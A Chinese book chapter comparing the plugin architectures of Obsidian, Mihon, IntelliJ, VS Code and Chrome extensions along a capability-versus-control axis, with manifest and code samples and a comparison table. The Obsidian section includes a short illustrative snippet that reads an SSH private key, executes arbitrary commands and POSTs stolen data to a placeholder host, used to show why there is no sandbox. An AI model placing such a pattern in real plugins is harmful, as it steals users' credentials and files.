卷 I · 口CH 02深度 02/24

五个系统,一根轴

Obsidian 让插件读你磁盘上的任何文件,Chrome 连读一个网页都要单独申请权限 —— 这两个东西居然是同一类系统。这一章把五个真实系统摆在同一根轴上:插件能拿到多少能力 ←→ 宿主保留多少控制。你会发现它们不是五种技术,是同一个问题的五个报价

ObsidianMihonIntelliJVS CodeChrome能力↔控制

先把轴立起来

这根轴的两头是这样的:

  • 最左端:插件就是宿主自己的代码。同一个进程、同一个运行时、同样的权限,想干什么干什么。能力无上限,控制为零。
  • 最右端:插件是一个被关在笼子里的租客。跑在别的进程、别的运行时里,每一样能力都要单独申请、由用户批准,宿主随时能把它掐掉。控制最大,能力被切得很碎。

五个系统在这根轴上从左到右依次是:Obsidian → Mihon → IntelliJ → VS Code → Chrome 扩展

点一下每个名字,看它对五个问题(发现 / 加载 / 契约 / 隔离 / 演化)分别怎么答:

下面挨个拆开。每一节我都会给出这个系统里插件真实的样子 —— 不是示意代码,是你真去写一个插件时要写的东西。

最左端 · 几乎不设防

Obsidian:把钥匙直接给你

Obsidian 是一个基于 Electron 的笔记应用。它的插件是这样的两个文件:

// manifest.json
{
  "id": "my-plugin",
  "name": "我的插件",
  "version": "1.0.0",
  "minAppVersion": "1.5.0",
  "description": "干点什么",
  "isDesktopOnly": false
}
// main.js(由 TypeScript 编译出来)
const { Plugin, Notice } = require('obsidian');

module.exports = class MyPlugin extends Plugin {
  async onload() {
    this.addCommand({
      id: 'say-hi',
      name: '打个招呼',
      callback: () => new Notice('嗨'),
    });

    // 注意这个 registerEvent —— 第 13 章会专门讲它为什么重要
    this.registerEvent(
      this.app.workspace.on('file-open', (file) => {
        console.log('打开了', file?.path);
      })
    );
  }

  onunload() {
    // 释放资源。但上面 registerEvent 登记的东西,Obsidian 会自动帮你收
  }
};

看起来平平无奇。关键在于它没有说的那部分:这段 main.js 是被 Obsidian 在自己的 Electron 渲染进程里直接加载的。这意味着它可以:

// 插件里完全可以写这些 —— 没有任何东西拦着
const fs = require('fs');
fs.readFileSync('/Users/you/.ssh/id_rsa');        // 读你的私钥
fs.writeFileSync('/Users/you/任何位置', '任何东西');  // 写任何文件
require('child_process').exec('任何命令');          // 执行任何命令
fetch('https://any.where', { method: 'POST', body: 偷到的东西 });

这不是漏洞,这是设计。Obsidian 官方文档说得非常直白:由于技术上的限制,Obsidian 无法可靠地把插件限制在特定权限或访问级别内,插件继承 Obsidian 本身的访问能力,可以访问你电脑上的文件。

◇ 那它靠什么兜底

Obsidian 选择用非技术手段来管这件事,一共三层:

① 默认不让跑。新装的 Obsidian 处在「受限模式」(Restricted Mode),第三方插件全部不执行。你必须自己去关掉这个开关 —— 这是一个刻意做得有点麻烦的动作,逼你意识到自己在干什么。

② 上架前扫描。官方会对社区插件的每个版本做自动扫描(安全漏洞、代码质量、恶意代码),结果以「安全评分卡」的形式展示。

③ 剩下的交给你。文档的建议本质上是:只装你信任的作者的插件。

这套做法一直有争议,批评者认为「审核 + 提示」在一个完全没有沙箱的系统里托不住底。但也必须承认另一面:Obsidian 的插件生态是所有笔记软件里最繁荣的,因为插件作者真的什么都能做 —— 装个数据库、跑个本地模型、接管整个渲染管线,没有任何 API 需要等官方开放。

再往右一点 · 一整个 APK 装进来

Mihon:插件是一个独立安装的 App

Mihon 的做法在五个里面最不寻常,也最有意思:它的每个扩展,都是一个真正的、独立安装在你手机上的 Android APK。

扩展的 AndroidManifest.xml 长这样(这是它能被认出来的关键):

<manifest>
    <!-- ① 一面旗子:我是一个 Tachiyomi 扩展 -->
    <uses-feature android:name="tachiyomi.extension" />

    <application>
        <!-- ② 告诉宿主:我的 Source 实现类叫什么 -->
        <meta-data
            android:name="tachiyomi.extension.class"
            android:value="eu.kanade.tachiyomi.extension.zh.example.ExampleSource" />

        <!-- ③ 我是按哪一版扩展库写的 -->
        <meta-data
            android:name="tachiyomix.extensionLib"
            android:value="1.6" />
    </application>
</manifest>

而扩展的代码本体,就是一个普通的 Kotlin 类

class ExampleSource : ParsedHttpSource() {
    override val name = "示例漫画站"
    override val baseUrl = "https://example-manga.test"
    override val lang = "zh"
    override val supportsLatest = true

    // 宿主问:热门列表在哪个 URL?
    override fun popularMangaRequest(page: Int) =
        GET("$baseUrl/popular?page=$page", headers)

    // 宿主问:这一页 HTML 里,每个条目用什么选择器?
    override fun popularMangaSelector() = "div.item"

    // 宿主问:给你一个条目元素,抽出漫画信息
    override fun popularMangaFromElement(element: Element) = SManga.create().apply {
        title = element.select("h3.t").text()
        setUrlWithoutDomain(element.select("a").attr("href"))
        thumbnail_url = element.select("img").attr("data-src")
    }
    // …… 还有章节列表、图片列表等等
}

注意这个契约的形状:宿主负责所有「难而通用」的事 —— 发 HTTP 请求、管理 Cookie、下载图片、存数据库、渲染阅读器、处理翻页手势。扩展只负责一件「简单但一千个人各不相同」的事:这个网站的 HTML 长什么样。

这个划分是 Mihon 成功的核心。它把一个「需要懂 Android 开发」的任务,降级成了「会写 CSS 选择器就行」,于是社区里几百个人能同时供养上千个源。

◇ 宿主那侧真正发生的事(读 ExtensionLoader.kt)

Mihon 加载扩展的流程,比大多数人想的要硬核:

① 发现:向 Android 的 PackageManager 要出所有已安装的包,筛出那些 reqFeatures 里带 tachiyomi.extension 的。也就是说,扩展是被 Android 系统正经安装的,不是下载到私有目录的一个文件。

② 校验版本:从 meta-data 里读出扩展库版本,比对宿主的支持列表 —— 撰写本书时(2026 年 7 月)主分支上这个列表是 listOf(1.4, 1.6),对不上就整个不加载。

③ 校验签名:算出签名证书的 SHA-256,交给信任机制检查。不在信任列表里的扩展会被标成 Untrusted,需要用户手动确认 —— 这是 Mihon 在没有沙箱的情况下唯一的防线:它不保证扩展是安全的,只保证它确实是那个作者签的、装上之后没被换过。

④ 加载类:用一个自定义的 ChildFirstPathClassLoader 加载扩展的 DEX(第 10 章会讲「子优先」意味着什么),然后 Class.forName(...).getDeclaredConstructor().newInstance() —— 老老实实的反射

⑤ 拿到对象:实例化出来的东西必须是 SourceSourceFactory。如果是工厂,就调 createSources() 拿到一批源(一个 APK 提供多个站点时用这个)。

来源:mihonapp/mihon 主分支 ExtensionLoader.kt,2026 年 7 月核对。版本号这类东西会变,去仓库里看最新的。

为什么要费这么大劲用 APK?因为它白得了 Android 的整套基础设施:安装、更新、签名验证、卸载、权限模型,全都是系统现成的。代价是扩展必须走 Android 的安装流程(用户要点「允许安装未知来源」),而且扩展的代码最终还是跑在 Mihon 自己的进程里,和 Mihon 同权限 —— 类加载器隔离的是类空间,不是安全边界。

中间 · 同进程,但每人一个类加载器

IntelliJ:用 XML 声明,用类加载器隔离

IntelliJ 平台(IDEA、Android Studio、PyCharm 都是它)的插件系统是五个里面最庞大、也最「企业级」的。它的核心概念叫扩展点(Extension Point,EP)。

平台定义一个扩展点,插件在 plugin.xml 里填实现:

<idea-plugin>
  <id>com.example.myplugin</id>
  <name>我的插件</name>
  <vendor>me</vendor>

  <!-- 我依赖哪些插件 / 模块(也决定了我能看见谁的类) -->
  <depends>com.intellij.modules.platform</depends>

  <!-- 我往平台的扩展点里填了什么 -->
  <extensions defaultExtensionNs="com.intellij">
    <toolWindow id="MyWindow" factoryClass="com.example.MyToolWindowFactory"/>
    <localInspection
        language="JAVA"
        implementationClass="com.example.MyInspection"
        displayName="别这么写"/>
  </extensions>

  <!-- 我自己也可以开扩展点,让别的插件来填我 -->
  <extensionPoints>
    <extensionPoint name="myFeature" interface="com.example.MyFeature"/>
  </extensionPoints>
</idea-plugin>

这里有三件事值得注意:

① 契约是「声明式」的。插件不是调用一个 registerInspection() 函数,而是在 XML 里写下一行数据。平台在需要的时候才去实例化 MyInspection。这带来一个巨大的好处:平台不跑插件的任何代码,就能知道它提供了什么。(这个思路在 VS Code 那里被推到了极致,第 5 章细讲。)

② 插件可以自己开扩展点。注意最后那段 <extensionPoints> —— 插件也能成为别人的宿主。Kotlin 插件、Python 插件都是这么被其它插件扩展的。「宿主」和「插件」在这里不是两种东西,是同一种东西的两个角色。

③ 每个插件一个类加载器。这是 IntelliJ 最重要的隔离手段:每个插件拿到一个专属的类加载器,先找自己的类,找不到才去问 IDE 主加载器和它声明依赖的那些插件。这让两个插件可以各自打包不同版本的同一个库而互不干扰 —— 代价是那个所有 JVM 插件开发者都见过的经典异常,第 10 章会让你亲手把它复现出来。

⚠ IntelliJ 隔离的是类,不是命

类加载器隔离听起来很像沙箱,但它完全不是安全边界:插件和 IDE 在同一个 JVM、同一批线程里跑。

所以:插件里一个死循环 → 整个 IDE 转圈;插件里一个 System.exit() → IDE 直接没了;插件读你的项目源码上传到任何地方 → 没有任何东西拦得住。

IntelliJ 能做的只是事后归因:检测到 UI 冻结时,把卡顿的调用栈抓下来,如果栈里有某个插件的类,就告诉你「插件 X 可能导致了卡顿」。这是法医,不是保安。

再往右 · 干脆换个进程

VS Code:把插件请出主进程,也请出 DOM

VS Code 做了五个系统里最果断的一刀:插件不跑在 UI 进程里,而是跑在一个独立的 Node 进程 —— extension host 里。

插件的清单是一个 package.json

{
  "name": "my-extension",
  "engines": { "vscode": "^1.90.0" },
  "main": "./out/extension.js",
  "activationEvents": ["onLanguage:python"],
  "contributes": {
    "commands": [
      { "command": "myExt.sayHi", "title": "打个招呼" }
    ],
    "menus": {
      "editor/context": [
        { "command": "myExt.sayHi", "when": "editorHasSelection" }
      ]
    },
    "configuration": {
      "properties": {
        "myExt.greeting": { "type": "string", "default": "嗨" }
      }
    }
  }
}
// extension.js
const vscode = require('vscode');

function activate(context) {
  const d = vscode.commands.registerCommand('myExt.sayHi', () => {
    vscode.window.showInformationMessage('嗨');
  });
  // 登记进 subscriptions,卸载时自动回收(和 Obsidian 的 registerEvent 同一个思路)
  context.subscriptions.push(d);
}

function deactivate() {}
module.exports = { activate, deactivate };

这份清单里藏着 VS Code 插件系统的两个核心思想。

思想一:能声明的,绝不用代码

注意 contributes 段:命令的名字、右键菜单的位置、配置项的类型和默认值 —— 全都是数据,不是代码。VS Code 读完这份 JSON 就能把菜单画出来、把命令列进命令面板、把设置项显示在设置界面里,而插件的 JS 一行都还没跑

这直接换来了:启动飞快(第 21 章会算这笔账)、插件安装后不重启就能看到菜单、以及市场页面上能准确列出插件提供的功能。

思想二:插件不许碰 DOM

VS Code 的界面是网页技术做的,但插件拿不到 document。想加个视图?在 contributes.views 里声明,然后往里填数据 —— 像素由 VS Code 画。

官方给的理由有两条,都很实在:

  • 稳定性与性能:插件在独立进程里,卡死也卡不到编辑器;
  • 演化自由:如果插件能直接操作 DOM,它们必然会依赖 DOM 的具体结构,那 VS Code 就再也不能改自己的界面了。不给 DOM,就保住了自己的重构自由。

这一刀的代价,是插件 API 里几乎所有东西都变成了异步:跨进程调用要序列化成消息、发过去、等回来,不可能同步返回。第 18 章你会亲手搭一座这样的桥,看着消息在边界上来回。

◆ 这一刀值不值

值。而且这是全书我最想让你记住的设计案例。

VS Code 用一个看起来很严厉的限制(不给 DOM),同时买到了四样东西:插件卡不死编辑器、界面风格天然统一、VS Code 能自由重构 UI、插件在 Web 版和远程开发里也能跑(因为它本来就不依赖本地 DOM)。

一个好的约束不是「少给了什么」,而是「因此不用再操心什么」。这个判断标准,你在设计自己的插件 API 时会反复用到。

最右端 · 权限切碎,世界分开

Chrome 扩展:把「能力」拆成一条条去要

Chrome 扩展面对的是最恶劣的环境:几亿用户、任何人都能上传、装上就能碰到你所有网页里的所有数据(银行、邮箱、公司内网)。所以它的控制力度是五个里面最强的。

// manifest.json(Manifest V3)
{
  "manifest_version": 3,
  "name": "我的扩展",
  "version": "1.0.0",

  // 装的时候就要用户点头的权限
  "permissions": ["storage", "activeTab"],

  // 想访问哪些网站 —— 这一项会在安装时显示成醒目的警告
  "host_permissions": ["https://example.com/*"],

  // 用得着再问的权限
  "optional_permissions": ["topSites"],

  "background": { "service_worker": "sw.js" },

  "content_scripts": [{
    "matches": ["https://example.com/*"],
    "js": ["content.js"]
  }]
}

三个机制值得单独说:

① 权限是一条条要的,而且用户看得见

不是「给我全部能力」,而是 storagetabscookies 这样一项一项声明。permissionshost_permissions 会在安装时翻译成人话弹给用户看(「读取和更改你在 example.com 上的所有数据」);optional_permissions 则可以推迟到真正要用的那一刻再弹窗。

最巧妙的是 activeTab:它不预先给你任何网站的权限,但当用户主动点击你的扩展图标时,临时授予当前这一个标签页的访问权。它把「用户的意图」本身变成了一次授权 —— 这是权限设计里非常漂亮的一手,第 17 章会详谈。

② 独立世界(isolated world)

content script 会被注入到网页里,能读写这个页面的 DOM。但它的 JavaScript 跑在一个独立世界里:

// 网页自己的脚本
window.secret = '页面的数据';
window.jQuery = 某个版本;

// 你的 content script —— 同一个页面,不同的世界
console.log(window.secret);   // undefined,看不见页面的变量
window.jQuery = 另一个版本;    // 不会影响页面的 jQuery
document.querySelector('h1'); // 但 DOM 是共享的,读写都没问题

DOM 共享,JS 变量空间隔离。这一刀切得极其精准:扩展要干的活(改页面内容)全都需要 DOM,而扩展和页面互相搞坏对方的最常见方式(覆盖全局变量、篡改原型链)全都发生在 JS 变量空间。它只切断了后者。

顺带解决了另一个问题:多个扩展装在同一个页面上互不干扰,各在各的世界里。

③ content script 拿不到大部分扩展 API

content script 被注入进了不可信的页面,所以它自己也被当成半个不可信的东西:它只能用一小撮 API(storagei18n、以及 runtime.sendMessage 这类通信方法)。想干别的?发消息给后台的 service worker,让它去干。

// content.js —— 在页面里,权力很小
chrome.runtime.sendMessage({ type: 'fetchData', url: '...' }, (resp) => {
  document.querySelector('#box').textContent = resp.data;
});

// sw.js —— 在后台,权力大一些,但碰不到页面 DOM
chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
  if (msg.type === 'fetchData') {
    fetch(msg.url).then(r => r.text()).then(data => sendResponse({ data }));
    return true;  // 异步回复
  }
});

看这个形状 —— 它和 VS Code 的 extension host 是同一个思路:把「能碰界面的部分」和「能力大的部分」分成两半,中间用消息连接,谁也不能同时拥有两样。

◇ 代价:MV2 → MV3 的五年

Chrome 这套控制力不是白来的。2018 年起,Google 推动从 Manifest V2 迁到 V3,其中最有争议的一刀是:把后台常驻页面换成按需唤醒的 service worker,并把网络拦截从「你写代码逐个请求判断」换成「你提前声明规则、由浏览器执行」(declarativeNetRequest)。

安全和性能上这是巨大的进步 —— 扩展再也不能在后台常驻一段任意代码来窥视你的每一个请求。但它也确实削弱了一批广告拦截器的能力,社区争论了很多年。

迁移用了多久?2025 年 7 月起,MV2 扩展在稳定版 Chrome 上彻底停止运行;到 2026 年 8 月 31 日,商店会下架最后一批 MV2 扩展。从提出到彻底完成,超过五年。

来源:Chrome for Developers 的 MV2 弃用时间线,2026 年 7 月核对。

记住这个数字:五年。这就是第 1 章说的「开门是不可逆的」—— 哪怕你是 Google,改一个已经发布的插件契约,也要用年做单位。

把五张答卷叠在一起

ObsidianMihonIntelliJVS CodeChrome
插件形态 一个 main.js 一个 APK jar + plugin.xml npm 包 + package.json manifest.json + 脚本
跑在哪 宿主渲染进程 宿主进程 宿主 JVM 独立进程 独立世界 / 独立 worker
契约风格 继承基类 实现接口 XML 声明 + 接口 JSON 声明 + API JSON 声明 + API
能碰 UI 吗 整个 DOM,随便改 宿主给的几个位置 能,深度定制 不能,只能声明 页面 DOM 能,浏览器 UI 不能
权限模型 无(有签名信任) 无(靠进程边界) 逐项声明 + 用户批准
插件卡死会怎样 应用卡死 应用卡死 IDE 卡死 编辑器没事 浏览器没事
换来的东西 创造力无上限 长尾覆盖 + 系统级分发 深度改造 IDE 稳定 + 统一 + 可远程 敢让任何人上传
◆ 读这张表的正确方式

不要读成「谁更先进」。要读成「谁在为谁的处境做优化」:

Chrome 面对的是几亿陌生用户 + 任何人可上传 + 数据极度敏感,它必须把控制拉满,能力被切碎是可接受的代价。

Obsidian 面对的是几十万愿意折腾的深度用户 + 一个靠创造力活着的生态,它把能力拉满,把风险明示给用户 —— 因为一旦加上沙箱,那些「接管整个渲染管线」的插件就死了,而那恰恰是它的护城河。

两个都是对的,因为它们在解不同的题。你造自己的插件系统时要先回答的,不是「用什么技术」,而是「我的处境更像谁」。

装到自己身上

◆ 一个三分钟就能做的判断练习

下次你遇到任何一个插件系统(包括你自己要设计的),拿这四个问题去问它,三分钟就能摸清它的性格:

① 插件和宿主在同一个进程/运行时里吗?——「是」就意味着:没有真正的安全隔离,插件卡死=应用卡死,你的防线只能是社区审核和签名。

② 宿主不执行插件代码,能知道它提供了什么吗?——「能」就意味着:有清单、能懒加载、启动快、市场页面信息准确。「不能」意味着必须全量加载,启动会随插件数线性变慢。

③ 插件能直接画界面吗?——「能」意味着 UI 会很自由但风格失控,而且宿主从此不敢重构界面。「不能」意味着要设计一整套声明式贡献点,前期成本高但后患少。

④ 权限是「全有」还是「一条条给」?——「全有」的系统,安全完全依赖分发环节(审核、签名、商店);「一条条给」的系统,需要一整套用户能看懂的权限词汇表,这本身是很难的产品设计。

这四个问题的答案,基本决定了一个插件系统剩下的所有样子。你会发现它们高度相关:回答①「是」的系统,通常②③也宽松、④是「全有」—— 因为它们本来就选在轴的同一头。

这一章的一句话

五个系统不是五种技术,是同一笔交易的五个报价;报价的高低不取决于技术水平,取决于「插件作者是谁、用户是谁、出事的代价有多大」。

下一章,我们把这五张答卷背后共同的那张问卷抽出来 —— 所有插件系统都在回答同样的五个问题。那五个问题,就是这本书剩下二十一章的地图。